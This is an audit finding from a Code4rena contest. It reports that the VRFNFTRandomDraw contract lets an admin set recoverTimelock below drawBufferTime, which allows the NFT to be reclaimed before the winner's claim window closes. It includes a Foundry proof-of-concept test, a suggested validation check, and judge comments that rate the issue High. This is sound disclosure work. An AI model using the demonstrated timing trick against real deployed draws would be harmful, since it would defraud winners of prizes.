Admin can withdraw the NFT before the winner timelock ends

[code423n4]

Lines of code

https://github.com/code-423n4/2022-12-forgeries/blob/main/src/VRFNFTRandomDraw.sol#L75-L138

Vulnerability details

Impact

The admin could set recoverTimelock before drawBufferTime , thus he can withdraw the NFT before the winner Draw buffer time ends.

Proof of Concept

The drawBufferTime need to be more then an hour and less then a month and the recoverTimelock need to be at least a week, therefore if the admin sets recoverTimelock before drawBufferTime (It could happen by mistake):

In the case of a malicious admin:

• The admin may have the chance to withdraw the NFT before the winner Draw buffer time ends (If the winner didn't claim it in the first week).

In the case of an honest admin:

• It will force him to clone a new implementation, which would be a waste of GAS.

In past audits, we have seen contract admins claim that invalidated configuration setters are fine since “admins are trustworthy”. However, cases such as Nomad got drained for over $150M and Misconfiguration in the Acala stablecoin project allows attacker to steal 1.2 billion aUSD have shown again and again that even trustable entities can make mistakes. Thus any fields that might potentially result in insolvency of protocol should be thoroughly checked.

This is simple test that shows how the admin could withdraw the NFT before the winner:

function test_WithdrawBeforeUser() public {
        address winner = address(0x1337);
        vm.label(winner, "winner");
        address attacker = address(0x1577);
        vm.label(attacker, "attacker");

        vm.startPrank(winner);
        for (uint256 tokensCount = 0; tokensCount < 10; tokensCount++) {
            drawingNFT.mint();
        }
        vm.stopPrank();

        vm.startPrank(admin);
        targetNFT.mint();

        address consumerAddress = factory.makeNewDraw(
            IVRFNFTRandomDraw.Settings({
                token: address(targetNFT),
                tokenId: 0,
                drawingToken: address(drawingNFT),
                drawingTokenStartId: 0,
                drawingTokenEndId: 10,
                drawBufferTime: 2 weeks,
                recoverTimelock: 1 weeks + 1 seconds,
                keyHash: bytes32(
                    0x79d3d8832d904592c0bf9818b621522c988bb8b0c05cdc3b15aea1b6e8db0c15
                ),
                subscriptionId: subscriptionId
            })
        );
        vm.label(consumerAddress, "drawing instance");

        mockCoordinator.addConsumer(subscriptionId, consumerAddress);
        mockCoordinator.fundSubscription(subscriptionId, 100 ether);

        VRFNFTRandomDraw drawing = VRFNFTRandomDraw(consumerAddress);

        targetNFT.setApprovalForAll(consumerAddress, true);

        uint256 drawingId = drawing.startDraw();

        mockCoordinator.fulfillRandomWords(drawingId, consumerAddress);

        vm.stopPrank();

        assertEq(targetNFT.balanceOf(admin), 0);
        assertEq(targetNFT.balanceOf(winner), 0);
        assertEq(targetNFT.balanceOf(consumerAddress), 1);

        vm.warp(1 weeks + 1 seconds);

        vm.prank(admin);
        drawing.lastResortTimelockOwnerClaimNFT();

        assertEq(targetNFT.balanceOf(admin), 1);
        assertEq(targetNFT.balanceOf(consumerAddress), 0);
        assertEq(targetNFT.balanceOf(winner), 0);

        vm.prank(winner);
        vm.expectRevert("ERC721: transfer from incorrect owner");
        drawing.winnerClaimNFT();

        assertEq(targetNFT.balanceOf(admin), 1);
        assertEq(targetNFT.balanceOf(winner), 0);
        assertEq(targetNFT.balanceOf(consumerAddress), 0);
    }

Tools Used

Manual Review

Recommended Mitigation Steps

Add this check in the initialize function te prevent recoverTimelock from being set before drawBufferTime.

if (_settings.recoverTimelock < _settings.drawBufferTime) {
    revert RECOVER_TIMELOCK_NEEDS_TO_BE_MORE_THEN_REDRAW_TIMELOCK();
}

[c4-judge]

gzeon-c4 marked the issue as duplicate of #146

[c4-judge]

gzeon-c4 marked the issue as satisfactory

[c4-judge]

gzeon-c4 changed the severity to 3 (High Risk)